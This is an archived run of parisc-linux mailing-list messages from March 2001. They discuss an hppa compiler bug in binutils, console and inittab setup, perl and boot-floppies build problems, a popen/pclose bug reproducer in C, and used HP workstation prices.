Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619947 16747 80.91.229.3 (22 Nov 2014 01:32:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 13 17:23:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE8594A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Mar 2001 17:23:03 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA16685;
	Wed, 14 Mar 2001 11:22:01 +1100
In-Reply-To: <Pine.LNX.4.21.0103141045320.27636-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10509

On Wed, 14 Mar 2001, Alan Modra wrote:

> ld crashes for me too.  Yikes!  I'll look into it.

It's a compiler bug. :-(

I'm getting a crash at 0x40045a08.  ldd binutils/ld/.libs/ld-new shows me
that libbfd loads at 4001e000, so that's an offset of 27a08.
Dissasembling gives me this code in hppa_add_stub:

   279d4:       0d 82 10 35     ldb,ma  1(sr0,r12),r21
   279d8:       0d 82 10 34     ldb,ma  1(sr0,r12),r20
   279dc:       0d 75 12 22     stb,ma  r21,1(sr0,r11)
   279e0:       af 9d 5f dd     addib,>= -2,ret0,279d4 <hppa_add_stub+0x32c>
   279e4:       0d 74 12 22     stb,ma  r20,1(sr0,r11)
   279e8:       0d 80 10 15     ldb  0(sr0,r12),r21
   279ec:       0d 75 12 00     stb  r21,0(sr0,r11)
   279f0:       63 da 3e e9     stb r26,-8c(sp)
   279f4:       63 c0 3e eb     stb r0,-8b(sp)
   279f8:       63 d6 3e e1     stb r22,-90(sp)
   279fc:       63 d7 3e e3     stb r23,-8f(sp)
   27a00:       63 d8 3e e5     stb r24,-8e(sp)
   27a04:       63 d9 3e e7     stb r25,-8d(sp)
   27a08:       4a b5 08 f0     ldw 478(r21),r21

Note the use of r21 as a temp to shuffle bytes around, then it's use as an
index reg.  What's missing is a ldil to set up the high part of the
address.

Alan
-- 
Linuxcare





From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] segfaults with new binutils
Date: Wed, 14 Mar 2001 15:24:36 +1100 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0103141509470.27636-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0103141102190.27636-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619948 16753 80.91.229.3 (22 Nov 2014 01:32:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, John Wehle <john@feith.com>
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 13 21:26:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88BB64A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Mar 2001 21:26:29 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id PAA23961;
	Wed, 14 Mar 2001 15:24:36 +1100
In-Reply-To: <Pine.LNX.4.21.0103141102190.27636-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10510

On Wed, 14 Mar 2001, Alan Modra wrote:

> It's a compiler bug. :-(

And we're indebted to John for already fixing it.

Thu Mar  8 23:29:37 2001  John Wehle  (john@feith.com)

	* rtlanal.c (rtx_varies_p): Check operand 0 of a
	LO_SUM unless for_alias is set.

The above probably makes some of my hacks redundant.  For the time being,
I've left them in, and just added John's fix to puffin.external.hp.com
CVS.

Alan
-- 
Linuxcare





From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian R Molls <chris@coredump.rrz.uni-koeln.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Reasonable price for a 735/99
Date: Wed, 14 Mar 2001 11:57:23 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20010314115723.A30295@coredump.rrz.uni-koeln.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619948 16760 80.91.229.3 (22 Nov 2014 01:32:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:28 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 04:28:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B4E14A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Mar 2001 04:28:30 -0700 (MST)
Original-Received: from coredump.rrz.uni-koeln.de (root@coredump.rrz.Uni-Koeln.DE [134.95.140.101])
	by mail1.rrz.Uni-Koeln.DE (8.9.3/8.9.3) with ESMTP id MAA10040
	for <parisc-linux@parisc-linux.org>; Wed, 14 Mar 2001 12:28:28 +0100 (MET)
Original-Received: (from chris@localhost)
	by coredump.rrz.uni-koeln.de (8.9.3/8.9.3/Debian 8.9.3-21) id LAA30563
	for parisc-linux@parisc-linux.org; Wed, 14 Mar 2001 11:57:23 +0100
Content-Disposition: inline
User-Agent: Mutt/1.3.16i
'From: Christian R Molls <molls@rrz.uni-koeln.de>'
Xref: news.gmane.org gmane.linux.ports.parisc:10511

Sorry, this question is probably off-topic as it is hardware related,
but since a great PA-RISC linux presentation at our last LUG meeting in
Cologne, I have been looking for a cheap HP box here in Germany, which
does not seem to be easy; one of the offers is below.

Could somebody tell me what would be a reasonable prize for the
following box:

HP 735-99 w 96 MB RAM
HP A2091 graphics accelerator
2 x 1 GB Fast-SCSI disk drive
SCSI CD-ROM, floppy drive, SCSI disk drive
HP keyboard and mouse
10 MBit NIC w transceiver
SCSI: SCSI-II Interface (5 Mbytes per Second) Fast-Wide SCSI-II
Interface (20 Mbytes per second) 
HP-UX 10.20 installed

Any caveats? What about the graphics? Can I use a standard SVGA monitor?

Best Regards,
Chris




From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "arete@libero.it" <arete@libero.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] esiee root not work
Date: Wed, 14 Mar 2001 13:33:30 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <GA6TJU$IaZLB7wOrtVXBGyjT2hK7uorzlGL5zwaTQyqBLYKP@libero.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416619948 16761 80.91.229.3 (22 Nov 2014 01:32:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:28 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 05:31:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp3.libero.it (smtp3.libero.it [193.70.192.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA0BE4A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Mar 2001 05:31:57 -0700 (MST)
Original-Received: from libero.it (193.70.192.61) by smtp3.libero.it (5.5.022)
        id 3A93915D004AB9D7 for parisc-linux@parisc-linux.org; Wed, 14 Mar 2001 13:31:51 +0100
Disposition-Notification-To: "arete@libero.it"<arete@libero.it>
X-XaM3-API-Version: 1.1.9.1.31
X-SenderIP: 192.84.156.82
Xref: news.gmane.org gmane.linux.ports.parisc:10512

I have installated the archive fs_hd_20010227.tar.gz, and not work
i have the message 

unable at open initial console

With root file system of cdimages 0.5 work....

was is the problem ??????







From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Thomas Marteau" <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] esiee root not work
Date: Wed, 14 Mar 2001 13:56:44 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <000701c0ac86$3972e4c0$0801a8c0@esiee.fr>
References: <GA6TJU$IaZLB7wOrtVXBGyjT2hK7uorzlGL5zwaTQyqBLYKP@libero.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619948 16765 80.91.229.3 (22 Nov 2014 01:32:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:28 +0000 (UTC)
Cc: "parisc" <parisc-linux@lists.parisc-linux.org>
To: <arete@libero.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 05:54:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E0E34A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 14 Mar 2001 05:54:05 -0700 (MST)
Original-Received: from pc5158b (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with SMTP
	id 12430D1600; Wed, 14 Mar 2001 13:54:01 +0100 (CET)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Xref: news.gmane.org gmane.linux.ports.parisc:10513

Hi,

        this message told you that your /dev/console is not linked to our
choice of console. I think that our root FS is built with the idea that you
will use the sti-console!

If you use the serial port, you must change /dev/console
-- this is STI conf

demo@b132:~$ ls -l /dev/console
lrwxrwxrwx    1 root     root            4 Jan 29  1970 /dev/console -> tty0

-- this is SERIAL conf
demo@b132:~$ ls -l /dev/console
lrwxrwxrwx    1 root     root           10 Mar 14 13:42 /dev/console ->
/dev/ttyS0

Do NOT forget to modify the inittab file!

# Format:
#  <id>:<runlevels>:<action>:<process>
1:2345:respawn:/sbin/getty 38400 tty1        <------ Here for STI
#2:2345:respawn:/sbin/getty 38400 tty2
#3:23:respawn:/sbin/getty 38400 tty3
#4:23:respawn:/sbin/getty 38400 tty4
#5:23:respawn:/sbin/getty 38400 tty5
#6:23:respawn:/sbin/getty 38400 tty6

# Example how to put a getty on a serial line (for a terminal)
#
T0:23:respawn:/sbin/getty -L ttyS0 9600 vt100      <------ Here for SERIAL
#T1:23:respawn:/sbin/getty -L ttyS1 9600 vt100

# Example how to put a getty on a modem line.
#
#T3:23:respawn:/sbin/mgetty -x0 -s 57600 ttyS3







From - Thu Nov 08 21:16:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Reasonable price for a 735/99
Date: Wed, 14 Mar 2001 10:36:46 -0500 (EST)
Lines: 34
Approved: news@gmane.org
Message-ID: <200103141536.KAA04454@hiauly1.hia.nrc.ca>
References: <20010314115723.A30295@coredump.rrz.uni-koeln.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619949 16768 80.91.229.3 (22 Nov 2014 01:32:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: chris@coredump.rrz.uni-koeln.de (Christian R Molls)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 08:37:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9EC014A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Mar 2001 08:37:00 -0700 (MST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id KAA04454;
	Wed, 14 Mar 2001 10:36:46 -0500 (EST)
In-Reply-To: <20010314115723.A30295@coredump.rrz.uni-koeln.de> from "Christian R Molls" at Mar 14, 2001 11:57:23 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:10514

> Could somebody tell me what would be a reasonable prize for the
> following box:
> 
> HP 735-99 w 96 MB RAM
> HP A2091 graphics accelerator
> 2 x 1 GB Fast-SCSI disk drive
> SCSI CD-ROM, floppy drive, SCSI disk drive
> HP keyboard and mouse
> 10 MBit NIC w transceiver
> SCSI: SCSI-II Interface (5 Mbytes per Second) Fast-Wide SCSI-II
> Interface (20 Mbytes per second) 
> HP-UX 10.20 installed
> 
> Any caveats? What about the graphics? Can I use a standard SVGA monitor?

I have one.  It probably cost about $30,000 US new.  Depreciate factor
of 2 per year.  This yields about $60.  I wouldn't pay more than for
150 MHz PC.  Machine is reliable but parts are expensive.

The FW interface is differential and drives are somewhat more expensive.
I have had no problem with Seagate's.  I had some system stability problems
until recently with 10.20.  I have been religiously patching and finally
a few months ago some patch fixed the problem (not sure which one).  
I thought the problem was with the scsi driver because I have quite a
few drives but this may only have been the symptom.  This of course is
not an issue if you want to run parisc-linux!

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)




From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sandy Harris <sandy@storm.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Reasonable price for a 735/99
Date: Wed, 14 Mar 2001 13:53:58 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <3AAFBE46.94595FCC@storm.ca>
References: <200103141536.KAA04454@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619949 16769 80.91.229.3 (22 Nov 2014 01:32:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 11:54:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.storm.ca (storm.ca [209.87.239.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id A07824A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Mar 2001 11:54:29 -0700 (MST)
Original-Received: from storm.ca (ppp-209-87-255-5.ottawa.storm.ca [209.87.255.5])
	by mail.storm.ca (8.9.3+Sun/8.9.3) with ESMTP id NAA00593
	for <parisc-linux@parisc-linux.org>; Wed, 14 Mar 2001 13:54:22 -0500 (EST)
X-Mailer: Mozilla 4.76 [en] (Win98; U)
X-Accept-Language: en,fr
Xref: news.gmane.org gmane.linux.ports.parisc:10515

> > Could somebody tell me what would be a reasonable prize for the
> > following box:
> >
> > HP 735-99 w 96 MB RAM
> > ...

In the last year I've bought:		Canadian $

	16 bare 712/60s, 128 meg	$ 50 each
	 (no disk, keyboard, monitor, ...)

	715/100, 256 meg		$100
		keyboard & mouse	$ 25
		20" HP monitor		$ 50

	735, 300-odd meg, small drive	$ 35

The last was sheer luck, at a surplus dealer who wasn't sure what it
was. I think the others are good but reasonable prices.

Anyone in the Ottawa area, there are more of these and various old
Suns as well. Mail me off-list if you need vendor contact info.




From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] perl-5.6.0 build problems
Date: Wed, 14 Mar 2001 14:59:57 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <20010314145957.C13965@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="aVD9QWMuhilNxW9f"
X-Trace: ger.gmane.org 1416619949 16771 80.91.229.3 (22 Nov 2014 01:32:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 12:59:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost.localdomain (ottawa.linuxcare.com [216.208.98.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DA4A4A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Mar 2001 12:59:05 -0700 (MST)
Original-Received: (from pjlahaie@localhost)
	by localhost.localdomain (8.11.0/8.11.0) id f2EJxvi14676
	for parisc-linux@parisc-linux.org; Wed, 14 Mar 2001 14:59:57 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:10516

--aVD9QWMuhilNxW9f
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello everyone,

I've been trying to get perl-5.6.0 building since its required for
the boot-floppies package (base tar ball needs base-config which requires
debconf-utils, which requires perl-5.6).  Unfortunately, perl-5.6 does
not work correctly once compiled.

If I use the debian build (with the patch), perl.static and perl.debug
complete building, but a dynamic version crashes immediately on startup
from loading libperl.so.5.6.0 with the following fault:

do_page_fault() pid=21621 command='miniperl' type=6 address=0x00000797

If I only build the static and debug versions, the ./perl installperl
program crashes with the following error:

do_page_fault() pid=1781 command='perl' type=6 address=0x09280003

I've also tried building perl-5.6 w/o any changes (from the .orig.tar.gz)
and the same thing happens.  If it would help, I can install gdb/strace
to find out at which point the faults happens.  If anyone has managed to
get a work perl5.6, please let me know, so I can get it ready for the
install package.

						- Paul

--aVD9QWMuhilNxW9f
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6r8298ggPQthPCzcRAlnaAJ0dbFpla/IXYiuKl9qGI/4chgQhjgCgoekn
kwM8Urwqg1ovI95ONPd6u8o=
=Dlpp
-----END PGP SIGNATURE-----

--aVD9QWMuhilNxW9f--




From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] boot-floppies package
Date: Wed, 14 Mar 2001 15:02:42 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <20010314150242.D13965@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="yVhtmJPUSI46BTXb"
X-Trace: ger.gmane.org 1416619950 16781 80.91.229.3 (22 Nov 2014 01:32:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 13:01:47 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost.localdomain (ottawa.linuxcare.com [216.208.98.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3C4254A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Mar 2001 13:01:47 -0700 (MST)
Original-Received: (from pjlahaie@localhost)
	by localhost.localdomain (8.11.0/8.11.0) id f2EK2gD14695
	for parisc-linux@parisc-linux.org; Wed, 14 Mar 2001 15:02:42 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:10517

--yVhtmJPUSI46BTXb
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Status update on boot-floppies

The boot-floppies package is pretty much fully functional except for a few
small gotchas.  I cannot build a base2_2.tar.gz file since perl-base and
base-config can't be built.  I've been testing dbootstrap and I can fake
all the installation steps.  They seem to work.  As soon as the popen/pclose
problem and perl-5.6 are fixed, I should be able to get a bootable install
CD working in no time.

						- Paul

--yVhtmJPUSI46BTXb
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6r85i8ggPQthPCzcRAhVIAJ42SyrNkVVeilewnqg4zp7ppGHHlgCfQjXz
fBY4MMcfLBGcvm2lmMuZqJw=
=ltiX
-----END PGP SIGNATURE-----

--yVhtmJPUSI46BTXb--




From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] popen/pclose problem
Date: Wed, 14 Mar 2001 15:09:25 -0500
Lines: 79
Approved: news@gmane.org
Message-ID: <20010314150925.E13965@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="x4pBfXISqBoDm8sr"
X-Trace: ger.gmane.org 1416619950 16785 80.91.229.3 (22 Nov 2014 01:32:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 13:08:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost.localdomain (ottawa.linuxcare.com [216.208.98.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2436C4A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Mar 2001 13:08:30 -0700 (MST)
Original-Received: (from pjlahaie@localhost)
	by localhost.localdomain (8.11.0/8.11.0) id f2EK9PU14789
	for parisc-linux@parisc-linux.org; Wed, 14 Mar 2001 15:09:25 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:10518

--x4pBfXISqBoDm8sr
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

There seems to be a bug with popen/pclose on parisc.  In dbootstrap,
the Debian bootstrap install program, there is a function that will
run an application with its output redirected to syslog with the use
of popen/pclose.  In this application, pclose always returns -1 which
is (according to the manpage):

"The  pclose function returns -1 if wait4 returns an error, or some other
error is detected."

The function with the error is execlog in utilities/dbootstrap/util.c.

Interestingly, if I take out that function and wrap a main around it,
pclose returns the right values.  Here follows the standalone program
I wrote using the function.

--- cut here ---
#include <stdio.h>
#include <syslog.h>
#define MAXLINE 1024
int  execlog (const char *incmd, int priority)
{
  FILE *output;
  char line[MAXLINE];
  char cmd[strlen(incmd) + 6];
  strcpy(cmd, incmd);

    openlog("sysrun", LOG_PID, LOG_USER);

  /* FIXME: this can cause the shell command if there's redirection
            already in the passed string */
  strcat(cmd, " 2>&1");
  output = popen(cmd, "r");
  while (fgets(line, MAXLINE, output) != NULL ) {
    syslog(priority, line);
  }
  closelog();
  return(pclose(output));
}

int main(int argc,char **argv)
{
    int ret;
    if( argc < 2 )
    {
        fprintf( stderr, "Missing arguments.\n" );
        exit(1);
    }

    ret = execlog( argv[1], LOG_INFO);
    if( ret != 0 )
    {
        fprintf( stderr, "Bad return value %d\n", ret );
        return ret;
    }
    return 0;
}
--- cut here ---

--x4pBfXISqBoDm8sr
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6r8/18ggPQthPCzcRAt0tAKCjGpvXAwOkj56emApAm9wcHwVDjgCfShFb
pOwaWU6by506Cm7hbof6pCQ=
=7Zvw
-----END PGP SIGNATURE-----

--x4pBfXISqBoDm8sr--




From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem reports
Date: Wed, 14 Mar 2001 15:14:51 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20010314151451.G13965@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="kbCYTQG2MZjuOjyn"
X-Trace: ger.gmane.org 1416619950 16787 80.91.229.3 (22 Nov 2014 01:32:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:32:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 14 13:13:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost.localdomain (ottawa.linuxcare.com [216.208.98.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92B484A19
	for <parisc-linux@parisc-linux.org>; Wed, 14 Mar 2001 13:13:56 -0700 (MST)
Original-Received: (from pjlahaie@localhost)
	by localhost.localdomain (8.11.0/8.11.0) id f2EKEpF14817
	for parisc-linux@parisc-linux.org; Wed, 14 Mar 2001 15:14:51 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:10519

--kbCYTQG2MZjuOjyn
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

I should have mentioned in the last messages that I am using the latest
glibc from pehc.  For the popen/pclose I was using the 2.96 based compiler
and for perl the 2.97 compiler (both the .deb and I retried with the cvs
compiler from today -- same problems).  As well, I am running a recent
kernel (4-5 days old at most).

						- Paul

--kbCYTQG2MZjuOjyn
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6r9E78ggPQthPCzcRAsQEAJ9tclnARt3GizqNOrSxlD+dnHRd0ACfWcMe
GzEaJNliDIkqcqou7MK//lg=
=OtAw
-----END PGP SIGNATURE-----

--kbCYTQG2MZjuOjyn--




From - Thu Nov 08 21:16:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Shared mmap [Take 3]
Date: Wed, 14 Mar 2001 21:55:46 +0000
Lines: 189
Approved: news@gmane.org
Message-ID: <20010314215546.D12200@parcelfarce.linux.theplanet.co.uk>
References: <20010312175042.B19848@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619951 16790 80.91.229.3 (22 Nov 2014 01:32:31 GMT)
